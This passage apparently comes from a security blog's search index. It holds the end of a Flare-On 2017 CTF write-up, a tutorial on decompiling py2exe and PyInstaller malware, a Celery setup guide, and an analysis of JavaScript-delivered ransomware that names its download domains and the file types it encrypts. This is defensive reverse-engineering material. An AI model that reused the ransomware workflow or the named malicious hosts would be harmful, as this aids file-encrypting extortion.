[sp+0h] [bp-58h]@4 unsigned int i; // [sp+20h] [bp-38h]@1 int v4; // [sp+24h] [bp-34h]@1 __int64 *v5; // [sp+28h] [bp-30h]@1 __int64 v6; // [sp+30h] [bp-28h]@3 DWORD flOldProtect; // [sp+38h] [bp-20h]@1 __int64 v8; // [sp+40h] [bp-18h]@4 unsigned int v9; // [sp+60h] [bp+8h]@1 v9 = a1; v4 = 0x52414E44; sub_180007900(a1 + 0x52414E44); VirtualProtect(\u0026amp;qword_180001000[64 * (unsigned __int64)v9], 0x200ui64, 0x40u, \u0026amp;flOldProtect); v5 = \u0026amp;qword_180001000[64 * (unsigned __int64)v9]; for ( i = 0; i \u0026lt; 0x200ui64; ++i ) { v6 = i; *((_BYTE *)v5 + i) ^= sub_1800078D4(); } return sub_180005E90((unsigned __int64)\u0026amp;v2 ^ v8); } This function is for making the argument value; it takes encrypted data from address 0x180001000 and decrypts it using a XOR loop.\nThe argument passed to this function is 25, which means it will always take the last 0x200 bytes of data. So we need to modify this parameter during debugging.\nIt will use the 25th key to decrypt the 25th region and reveal the 25th part of the key.\nRepeat this procedure with the index from 0 to 24, and you will get each part of the key through a message box.\nkey[0] = 0x77\nkey[1] = 0x75\nkey[2] = 0x75\nkey[3] = 0x75\nkey[4] = 0x74\nkey[5] = 0x2d\nkey[6] = 0x65\nkey[7] = 0x78\nkey[8] = 0x79\nkey[9] = 0x30\nkey[10] = 0x72\nkey[11] = 0x74\nkey[12] = 0x73\nkey[13] = 0x40\nWe will stop at \u0026lsquo;@\u0026rsquo; as we know it has to end with @flare-on.com\nKey : wuuut-exp0rts@flare-on.com\nTo be continued\u0026hellip;\n","permalink":"https://meltedinhex.com/posts/flare-on-challenge-2017-writeup/","summary":"\u003cp\u003eFlare-On is an annual CTF-style challenge organized by FireEye with a focus on reverse engineering.\u003cbr\u003e\nOverall, there were 12 challenges to complete. Instead of a detailed write-up, I am just covering the important parts.\u003cbr\u003e\nFollowing are the instructions to solve these challenges:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAnalyse the sample and find the key\u003c/li\u003e\n\u003cli\u003eEach key looks like an email address and ends with @flare-on.com\u003c/li\u003e\n\u003cli\u003eEnter the key for each challenge in the Flare-On CTF app to unlock the next challenge\u003c/li\u003e\n\u003cli\u003eComplete all the puzzles and win a prize\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eFlare-On 2017 challenges - \u003ca href=\"http://flare-on.com/files/Flare-On4_Challenges.zip\"\u003edownload\u003c/a\u003e\u003cbr\u003e\nPassword - flare\u003c/p\u003e","title":"Flare-On Challenge 2017 Writeup"},{"content":"PyInstaller and py2exe bundle a Python application and all its dependencies into an executable file. The user can run the EXE file without installing a Python interpreter or any modules.\nAs we all know, Python is an easy and effortless scripting language, so malware authors prefer Python for writing malware and convert it into an exe file using py2exe or PyInstaller.\nIn this blog, I am going to explain how to reverse those binaries and extract the Python source code.\nCase I :\nLet\u0026rsquo;s take this file d243ca34ec6a2f7995730747c6d73388 [VirusTotal][HybridAnalysis]\nThis file is compiled and built by py2exe.\nHow can you tell it is generated by py2exe?\nOK, let\u0026rsquo;s have a look at the resources of the binary.\nFig 1 : Case-1 resources\nYou will find two resources in this binary. The first one is \u0026ldquo;PYTHON27.DLL\u0026rdquo; which has the embedded python.exe of version 2.7, and the other one is \u0026ldquo;PYTHONSCRIPT\u0026rdquo; which is nothing but the compiled version of the Python script.\nPYTHONSCRIPT starts with the header of size 0x10 and first 8 bytes are magic number 12345678.\nHow do I get the source code?\nOk, first you have to dump the PYTHONSCRIPT resource.\nThe first 0x10 bytes are the header and the remaining bytes are marshalled or serialized data, so we have to unmarshal it.\nTo unmarshal, you can use the below Python code:\nimport marshal, imp f=open(\u0026#39;PYTHONSCRIPT\u0026#39;,\u0026#39;rb\u0026#39;) f.seek(17) # Skip the header of size 0x10 ob=marshal.load(f) for i in range(0,len(ob)): open(str(i)+\u0026#39;.pyc\u0026#39;,\u0026#39;wb\u0026#39;).write(imp.get_magic() + \u0026#39;\\0\u0026#39;*4 + marshal.dumps(ob[i])) f.close() This script will read the PYTHONSCRIPT dump file, skip the 0x10 bytes of header, unmarshal the remaining data, and save the Python compiled scripts (.pyc).\nIn this case, you will get the 3 below Python compiled scripts.\n0.pyc\n1.pyc\n2.pyc\nYou got the pyc files, now you just need a Python decompiler to get the source code.\nYou can download the uncompyle6 decompiler from here and install it by running its setup.py file.\nOr just install it using pip from the terminal or cmd.\npip install uncompyle6 After installation, just run it with the .pyc file and you will get the source code of the final Python file.\nFig 2 : decompile python script\nCase II :\nNow, look at this file 38d795517e7aab20e3fb80e52a30aa5f [VirusTotal][HybridAnalysis]\nIf you check the resources of this binary, you will not find a \u0026ldquo;PYTHON27.DLL\u0026rdquo; or \u0026ldquo;PYTHONSCRIPT\u0026rdquo; resource.\nSo, you can say this binary is not built by py2exe.\nNow look at the overlay of this binary.\nFig 3 : Overlay of case II binary\nThe overlay starts with the magic number 78DA63FE and the remaining data is Python modules encoded with Zlib.\nFrom this magic number, you can say it is built by PyInstaller and contains a Python script.\nTo extract the Python modules from the executable, we have an extractor tool, pyinstxtractor.\nJust run this with the executable binary file.\npyinstxtractor.py conversion_case2.exe After extraction, you will get the files as shown in Fig4.\nFig 4 : Extracted modules of Case II\n\u0026ldquo;out00-PYZ.pyz_extracted\u0026rdquo; contains the Python compiled scripts (pyc) of the imported Python modules.\nWe just need the main file, so here \u0026ldquo;conversion\u0026rdquo; is our main file.\nIt is a .pyc file without a magic header.\nMagic number of a .pyc file is 03F30D0A00000000 of length 8 bytes, you just need to prepend this magic number to the \u0026ldquo;conversion\u0026rdquo; file and rename it to \u0026ldquo;conversion.pyc\u0026rdquo;\nNow, you have the .pyc file, you can use the uncompyle6 decompiler as explained in Case I to decompile the .pyc\nAfter decompilation, you will get the final Python code (.py).\nCase III:\nLet\u0026rsquo;s have a look at fe23fb462a9e6f730ee6e93daef27c5c [VirusTotal][HybridAnalysis]\nThis binary does not have resources like Case I; now let\u0026rsquo;s see the overlay data.\nFig 5 : Overlay of Case III binary\nHere we have the 78DA4D8E magic number; the first two bytes are similar to Case II.\nYes, it is similar to Case II but the difference is only with the extracted modules.\nJust extract this binary with pyinstxtractor as we did in Case II.\nAfter extraction, you will get the files as shown in Fig 6.\nFig 6 : Extracted modules of Case III binary\nIn Case II, the \u0026ldquo;out00-PYZ.pyz_extracted\u0026rdquo; directory contains the .pyc files of imported Python modules, but in this case you will get the files as shown in Fig 7.\nFig 7 : Imported modules in Case III\nThese modules are encrypted by AES with CFB mode.\nIf you open \u0026ldquo;pyimod00_crypto_key\u0026rdquo; shown in Fig 6, you will get the AES encryption key which starts at 0x32 and ends with \u0026ldquo;N(\u0026rdquo;.\nFig 8 : AES encryption key\nIn this case, \u0026ldquo;0000ThisIsForFun\u0026rdquo; is the AES encryption key and First 8 bytes of pyinmod00_crypto_key file is the Initial Vector (IV) of AES encryption.\nSo, If you need the python modules you can use below script to get it back.\nfrom Crypto.Cipher import AES import zlib CRYPT_BLOCK_SIZE = 16 # key obtained from pyimod00_crypto_key key = \u0026#39;0000ThisIsForFun\u0026#39; inf = open(\u0026#39;_abcoll.pyc.encrypted\u0026#39;, \u0026#39;rb\u0026#39;) # encrypted file input outf = open(\u0026#39;_abcoll.pyc\u0026#39;, \u0026#39;wb\u0026#39;) # output file # Initialization vector iv = inf.read(CRYPT_BLOCK_SIZE) cipher = AES.new(key, AES.MODE_CFB, iv) # Decrypt and decompress plaintext = zlib.decompress(cipher.decrypt(inf.read())) # Write pyc header outf.write(\u0026#39;\\x03\\xf3\\x0d\\x0a\\0\\0\\0\\0\u0026#39;) # Write decrypted data outf.write(plaintext) inf.close() outf.close() To get main python program, prepend the .pyc magic number 03F30D0A00000000 to \u0026ldquo;conversion\u0026rdquo; file shown in Fig6 and rename it to \u0026ldquo;conversion.pyc\u0026rdquo; and use uncompyle6 decompiler to decompile this file and get the source code.\nCase IV:\nIn some cases, pyc file failed to decompile by decompiler because it has its bytecode manipulated to prevent it from being decompile it easily.\nSo, in this case we have to disassemble the .pyc file using python disassembler, deobfuscate it and then decompile.\nI prefer to disassemble this kind of binaries and try to understand bytecode only.\nbytecode is easy to understand, you will get this by using following python code.\nimport dis dis.dis(\u0026#34;compiled_python.pyc\u0026#34;) You can learn more about python byte code instructions at here.\nThat\u0026rsquo;s it.\nThank you 😊\n","permalink":"https://meltedinhex.com/posts/reversing-of-python-built-exe/","summary":"\u003cp\u003ePyInstaller and py2exe bundle a Python application and all its dependencies into an executable file. The user can run the EXE file without installing a Python interpreter or any modules.\u003cbr\u003e\nAs we all know, Python is an easy and effortless scripting language, so malware authors prefer Python for writing malware and convert it into an exe file using py2exe or PyInstaller.\u003c/p\u003e\n\u003cp\u003eIn this blog, I am going to explain how to reverse those binaries and extract the Python source code.\u003c/p\u003e","title":"Reverse Engineering of Python built executables"},{"content":"Celery is an asynchronous task queue based on distributed message passing. Tasks are executed concurrently on one or more worker servers using multiprocessing, Eventlet or gevent. Tasks can execute asynchronously (in the background) or synchronously (wait until ready).\nArchitecture:\nFig1 : Celery architecture\nThe main part of this architecture is the broker (transporter), which handles all the task processing.\nThe client sends tasks to the broker, and the broker uses round robin to distribute those tasks to workers.\nSetup and Installation:\n1. Broker/Distributor:\nWe can use RabbitMQ or Redis as a broker; Celery has full support for these two brokers.\nBut here I am going to use RabbitMQ for the setup.\nFirst of all, install RabbitMQ on the broker machine.\nRabbitMQ is available for both platforms, Linux and Windows; you can use either.\nAfter installation, we have to configure the broker machine so that clients and workers can connect to it.\nConfiguration:\nUsing rabbitmqctl command, run the below commands [In windows, you can find it here C:\\Program Files\\RabbitMQ Server\\rabbitmq_server-3.6.6\\sbin]\nrabbitmqctl add_user \u0026lt;user_name\u0026gt; - rabbitmqctl add_vhost \u0026lt;vhost_name\u0026gt;\n- rabbitmqctl set_permissions -p \u0026lt;vhost_name\u0026gt; \u0026ldquo;.*\u0026rdquo; \u0026ldquo;.*\u0026rdquo; \u0026ldquo;.*\u0026rdquo;\n- rabbitmqctl restart\nThe above commands will setup a user and virtual host with full permissions on the broker machine.\nNow, install the Celery package in Python on the broker machine.\nYou can directly install Celery using the below command.\npip install celery Your broker machine is ready; let\u0026rsquo;s move towards the worker machines setup.\n2. Workers:\nInstall the Celery package on the worker machines as well.\nNow, we need to implement connectivity between the workers and the broker.\nHere, I am following the below project structure for the worker machine.\ndistributor [name of project directory]\n|\u0026mdash;\u0026ndash; celery.py\n|\u0026mdash;\u0026ndash; tasks.py\nYou can add the below celery.py in the project directory (distributor) for the connectivity.\nfrom __future__ import absolute_import, unicode_literals from celery import Celery app = Celery(\u0026#39;distributor\u0026#39;, broker=\u0026#39;amqp://\u0026lt;user\u0026gt;:\u0026lt;password\u0026gt;@\u0026lt;ip\u0026gt;/\u0026lt;vhost\u0026gt;\u0026#39;), backend=\u0026#39;amqp://\u0026#39;, include=[\u0026#39;distributor.tasks\u0026#39;]) app.conf.update(result_expires=3600,) if __name__ == \u0026#39;__main__\u0026#39;: app.start() Here,\nuser - user name of broker machine that we have created\npassword - password of broker user\nip - IP of broker machine\nvhost - virtual host of broker machine\ndistributor.tasks - distributor is the name of our project directory and tasks is the name of the Python file where we are going to add our tasks.\nIn tasks.py, we have the following simple Celery task.\nfrom __future__ import absolute_import, unicode_literals from .celery import app from celery.utils.log import get_task_logger from celery.backends.amqp import AMQPBackend import time log = get_task_logger(__name__) @app.task(backend=AMQPBackend(app, url=\u0026#39;amqp://\u0026#39;)) def add(x,y): log.info(\u0026#39;Calling task add(%d, %d)\u0026#39;%(x,y)) print(\u0026#39;I am in task add\u0026#39;) z = sum(x,y) return z def sum(x, y): time.sleep(10) return(x+y) You can add any Python function as a Celery task which you want to execute on multiple worker machines at the same time.\nWe have created the worker configuration and worker tasks; now it is time to start the worker.\nTo start the worker, we need to execute the following command from the project directory.\ncelery -A distributor worker -l info Here,\ncelery - command\ndistributor - project directory\n-l info - for logging option\nAfter execution of this command, the worker will connect with the broker and always be ready for task execution.\nYou can set up multiple workers on the same machine with the following command.\nworker1(cmd) : celery -A distributor worker -l info -n worker1%n worker2(cmd) : celery -A distributor worker -l info -n worker2%n If your tasks are difficult or take a lot of time, then it is better to have a single worker per machine.\nNow we have broker and worker connectivity.\nYou can add any number of workers (depending on your tasks) to the broker with the same procedure and same configuration explained above.\n3. Client:\nWe have a ready-to-use distributed architecture with broker and workers.\nYou can run the client on any machine to send tasks to the distributed system (broker and workers).\nFor demo purposes, I have the below client.\nAdd this script as client.py in the project directory (distributor) and run it.\nfrom distributor.tasks import add import time task_ids = [] for i in range(20): print(\u0026#39;Running : %d\u0026#39;%i) id = add.delay(5, i) task_ids.append(id) for i in range(len(task_ids)): while not (task_ids[i].state == \u0026#39;SUCCESS\u0026#39;): continue print(str(i) + \u0026#39; : \u0026#39; + str(task_ids[i].get())) That\u0026rsquo;s it.\nIf you are having a big task which is running on single machine and takes too much time then you can make it distributed and reduce lot of time.\nMonitoring:\nFor real-time monitoring of distributed architecture, tasks distributions, active running workers, active broker, you can install flower python package.\nFlower is a web based tool for monitoring celery clusters, you can install it using simple following command.\npip install flower After installation, you can run the server using following command.\nflower -A proj --port=5555 Now, you can visit this URL http://localhost:5555 for monitoring celery clusters.\nFig2 : Celery Flower\n","permalink":"https://meltedinhex.com/posts/distributed-processing-using-celery-in/","summary":"\u003cp\u003eCelery is an asynchronous task queue based on distributed message passing. Tasks are executed concurrently on one or more worker servers using multiprocessing, Eventlet or gevent. Tasks can execute asynchronously (in the background) or synchronously (wait until ready).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eArchitecture:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/images/distributed-processing-using-celery-in/celery_architecture-d8d5269c.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/images/distributed-processing-using-celery-in/celery_architecture-d8d5269c.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFig1 : Celery architecture\u003c/p\u003e\n\u003cp\u003eThe main part of this architecture is the broker (transporter), which handles all the task processing.\u003c/p\u003e\n\u003cp\u003eThe client sends tasks to the broker, and the broker uses round robin to distribute those tasks to workers.\u003c/p\u003e","title":"Distributed processing using celery in python"},{"content":"Summary:\nThe sample is a JavaScript file. After execution, it downloads a BAT file and an EXE file to run, traverses the computer\u0026rsquo;s files, and encrypts 80 kinds of file extensions including documents, pictures, media, etc. After the encryption, it asks for 0.5 BTC to decrypt the files.\nThe malware author embeds malicious JavaScript in any kind of input data passed to an application that understands it; the application may be a PDF, SWF, etc.\nThis kind of JavaScript mostly injects a website and spreads links through social networking, email, etc.\nJavaScript File:\nMD5 : 2FABECC77B10B39FF03F221F39F50C6C\nFile size : 8.70 KB (8905 bytes)\nThe sample drops the following files in the Temp directory on execution:\nExecutable file : Downloaded from a network address BAT file : Created by itself TXT file : Created by itself Fig1 : Workflow of JavaScript sample\nContent of JS file before the de-obfuscation is as follows:\nFig2 : Obfuscated JS code\nAfter de-obfuscation and decryption of the above code looks like as follows:\nFig3 : Deobfuscated JS script\nWhen the user executes the JS file, it downloads an executable file from three network addresses in order to the Temp directory and executes them. If it downloads successfully from the first address, the other two addresses will be skipped.\nThe sample downloads an executable file from any of the below websites, which were found to be malicious:\nLocksmithspringfield.us thecottagespsychotherapycenter.com kashfianlaw.com Batch File:\nMD5 : 49163792F3B8C4F62018670033E9FC82\nFile size : 15.93 KB (16317 bytes)\nThe Batch file is created by JavaScript file and dropped into the Temp directory.\nFig4 : JavaScript code for creating BAT file\nAfter the creation of batch file, it looks like:\nFig5 : BAT file snippet\nThe batch file has 26 encryption loops.\nEach loop is for encrypting each drive (i.e. A to Z).\nIt takes every file on the disk with the extensions shown below and passes it to the executable file as a parameter.\nIt calls the executable file (_crypt.exe) for each file on the disk.\n*.zip *.rar *.7z *.tar *.gz *.xls *.xlsx *.doc *.docx *.pdf *.rtf *.ppt *.pptx *.sxi *.odm *.odt *.mpp *.ssh *.pub *.gpg *.pgp *.kdb *.kdbx *.als *.aup *.cpr *.npr *.cpp *.bas *.asm *.cs *.php *.pas *.vb *.vcproj *.vbproj *.mdb *.accdb *.mdf *.odb *.wdb *.csv *.tsv *.psd *.eps *.cdr *.cpt *.indd *.dwg *.max *.skp *.scad *.cad *.3ds *.blend *.lwo *.lws *.mb *.slddrw *.sldasm *.sldprt *.u3d *.jpg *.tiff *.tif *.raw *.avi *.mpg *.mp4 *.m4v *.mpeg *.mpe *.wmf *.wmv *.veg *.vdi *.vmdk *.vhd *.dsk After the encryption, it deletes the executable file (_crypt.exe) from the Temp directory and starts the text file (_readme.txt).\nText file has ransom note, it ask for 0.5 BTC to decrypt the files.\nFig7 : Ransom note\nAt the end, the batch file makes a run entry for the above text file (_readme.txt) and deletes itself from the Temp directory.\nFig8 : Run entry of ransom note\nExecutable file:\nMD5 : 955FC65F54FA12AFAA5199585D749E67\nFile size : 2.50 KB (2560 bytes)\nThe EXE file is downloaded by the JavaScript file and dropped in the Temp directory.\nThe file is only executed from the command line with a single parameter.\nThe executable file is an encryption tool which encrypts a file passed via its parameter; only the batch file is responsible for executing this file.\nThe sample reads a file, encrypts it with the following encryption logic, and writes the file with the same extension:\nFig9 : Encryption routine\nWhere, the key is directly present in a .data section of the sample, size of key is 0xFF bytes. Fig10 : Encryption key shown in data section\nConclusion :\nRansomware mostly comes as an executable PE file with a different extension. In this case, it uses JavaScript to avoid detection and prevention by antivirus software. The Trojan downloads the malicious software and executes it without the user\u0026rsquo;s consent.\nThe sample encrypts every non-PE file with simple encryption.\nAs most ransomware changes the extension of a file after encryption, it is easy to identify the encrypted file and decrypt it. But in this case, the sample encrypts the files but does not change the extension, so it is difficult to identify whether a file is encrypted or not.\nIn the future, this kind of JavaScript ransomware might come with a different payload and a complex encryption algorithm.\n","permalink":"https://meltedinhex.com/posts/analysis-of-ransomware-spread-by/","summary":"\u003cp\u003e\u003cstrong\u003eSummary:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe sample is a JavaScript file. After execution, it downloads a BAT file and an EXE file to run, traverses the computer\u0026rsquo;s files, and encrypts 80 kinds of file extensions including documents, pictures, media, etc. After the encryption, it asks for 0.5 BTC to decrypt the files.\u003c/p\u003e\n\u003cp\u003eThe malware author embeds malicious JavaScript in any kind of input data passed to an application that understands it; the application may be a PDF, SWF, etc.\u003c/p\u003e","title":"Analysis of Ransomware spread by JavaScript"},{"content":"Melted in Hex is where threats get melted down to their raw bytes.\nI\u0026rsquo;m a malware analyst, reverse engineer, threat hunter, and AI security researcher. The instinct is the same one that\u0026rsquo;s always driven this work — take the thing apart, understand exactly how it operates, and figure out how to catch it — now pointed at a fast-changing, AI-driven attack surface, with AI in the loop.\nWhat you\u0026rsquo;ll find here Malware analysis \u0026amp; reverse engineering — ransomware teardowns, packer and obfuscation analysis, and hands-on reversing of real-world samples down to their bytes. Threat hunting \u0026amp; threat intelligence — tracking campaigns, mapping attacker tradecraft, and turning raw indicators into something actionable. AI security — using machine intelligence where it actually helps in threat analysis, and scrutinising it where it doesn\u0026rsquo;t: the new attack surface around AI agents, MCP, and the software supply chain. CTF \u0026amp; FLARE-On write-ups — the puzzles that keep the reversing muscles sharp. The angle Security is shifting under our feet. Attackers are automating, supply chains are getting longer, and AI is now on both sides of the fight. The fundamentals don\u0026rsquo;t change — you still have to read the bytes — but the surface does. This is my working notebook for keeping up with it.\nSome of the earliest posts here were originally published on Blogger and have been migrated over, with their original publication dates preserved.\nFind me on GitHub.\n","permalink":"https://meltedinhex.com/about/","summary":"\u003cp\u003e\u003cstrong\u003eMelted in Hex\u003c/strong\u003e is where threats get melted down to their raw bytes.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m a malware analyst, reverse engineer, threat hunter, and AI security researcher. The instinct is the same one that\u0026rsquo;s always driven this work — take the thing apart, understand exactly how it operates, and figure out how to catch it — now pointed at a fast-changing, AI-driven attack surface, with AI in the loop.\u003c/p\u003e\n\u003ch3 id=\"what-youll-find-here\"\u003eWhat you\u0026rsquo;ll find here\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eMalware analysis \u0026amp; reverse engineering\u003c/strong\u003e — ransomware teardowns, packer and obfuscation analysis, and hands-on reversing of real-world samples down to their bytes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThreat hunting \u0026amp; threat intelligence\u003c/strong\u003e — tracking campaigns, mapping attacker tradecraft, and turning raw indicators into something actionable.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAI security\u003c/strong\u003e — using machine intelligence where it actually helps in threat analysis, and scrutinising it where it doesn\u0026rsquo;t: the new attack surface around AI agents, MCP, and the software supply chain.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCTF \u0026amp; FLARE-On write-ups\u003c/strong\u003e — the puzzles that keep the reversing muscles sharp.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-angle\"\u003eThe angle\u003c/h3\u003e\n\u003cp\u003eSecurity is shifting under our feet. Attackers are automating, supply chains are getting longer, and AI is now on both sides of the fight. The fundamentals don\u0026rsquo;t change — you still have to read the bytes — but the surface does. This is my working notebook for keeping up with it.\u003c/p\u003e","title":"About"}]